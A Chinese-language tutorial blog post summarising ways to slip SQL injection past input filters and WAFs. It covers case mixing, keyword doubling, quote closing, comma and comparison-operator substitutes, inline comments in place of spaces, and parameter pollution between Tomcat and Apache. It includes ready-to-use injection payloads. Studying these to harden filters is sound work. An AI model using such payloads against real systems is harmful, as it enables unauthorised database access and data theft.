SQL注入绕过过滤总结
Jan 1, 0001 00:00 · 244 words · 2 minute read
对sql注入的一些绕过技巧和绕过技巧的原理的总结。
绕过过滤总结
2017-12-9
大小写绕过
原理
数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过。过滤时使用区分大小写的过滤函数.
区分大小写的函数
ereg()函数
preg_match_all(正则表达式不添加模式修正符 i)
preg_match(正则表达式不添加模式修正符 i)
strstr()
………
过滤代码
$ptn = "/union/";
$str = 'Union';
$b=preg_match_all($ptn,$str,$d);
var_dump($b);
单词混写绕过
利用前提
当后台将你所输入的关键字替换成空时,就可以使用单词混写绕过。
$str = "select union * from ";
$str1 = "select ununionion * from ";
$ptn = '/union/';
$rep = '';
$str = preg_replace($ptn,$rep,$str);
echo $str;
echo $str1;
过滤注释符的绕过
常见注释符
--+ ,# ;
过滤代码
$str = "select * from user where name='$user' limit 0,1 ";
$ptn = array();
$ptn[0] = '/#/';
$ptn[1] = '/--\+/';
$rep = '';
$str = preg_replace($ptn,$rep,$str);
echo $str;
绕过姿势
使用单引号(’)闭合语句
$user = 1' union select version() and '1
结果
$str = "select * from user where name='1' union select version() and '1' limit 0,1 ";
使用函数绕过
绕过对逗号(,)的过滤
对于substr()和mid()这两个方法可以使用from to的方式来解决。
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
对于limit可以使用offset来绕过
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from yang limit 1 offset 0
比较符过滤的绕过
比较操作符(<,>)的绕过
此时如果比较操作符(<,>)被过滤,上面的盲注语句就无法使用了,不过我们可以使用greatest来替代比较符.(<,>)
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
比较符(=)的过滤绕过
- like
- in
- between and
regexp
$sql = select * from user where id=1; 使用in方法绕过 使用示例: $sql = select * from user where id in (1); 使用like 绕过 $sql = select * from user Where id like 5
符号代替特殊字符
这种方法主要针对对于 or和and的过滤
使用 || 代替 or
使用&&代替and
内联注释
/**/ 绕过对空格的过滤
过滤的正则
$ptn = ‘/\s+关键字/’;
Index.php?id=’1’/**/union/**/select/**/version() #‘;
/*!关键字*/ 绕过对空格的过滤
过滤的正则
$ptn[0] = ‘/\s+关键字/’;
$ptn[1] = ‘/\/\*\*\//’;
payload
index.php?id=’1’/*!union*//*!select*//*!version()*/ #‘;
服务器解析绕过
服务器有两个部分:一个是tomcat为引擎的jsp服务器,一个是apache为引擎的php服务器。 工作流程:客户端先访问tomcat服务器,然后tomcat服务器在向apache发送请求数据。 数据返回路径则相反。
大多数服务器对于参数解析的介绍
解析漏洞原理
index.php?id=1&id=2这样的url在上图的环境下最终返回的数据id=2的数据。
客户端请求先到tomcat,tomcat解析第一个参数,接下来tomcat去请求apache,apache解析第二个参数。因为实际上提供服务的是apache服务器,返回数据的也是apache服务器。
为什么会出现两个服务器处理请求的情况?
因为人们通常在tomcat处做数据过滤的处理,类似于一个waf。所以可以利用解析漏洞绕过waf的检测。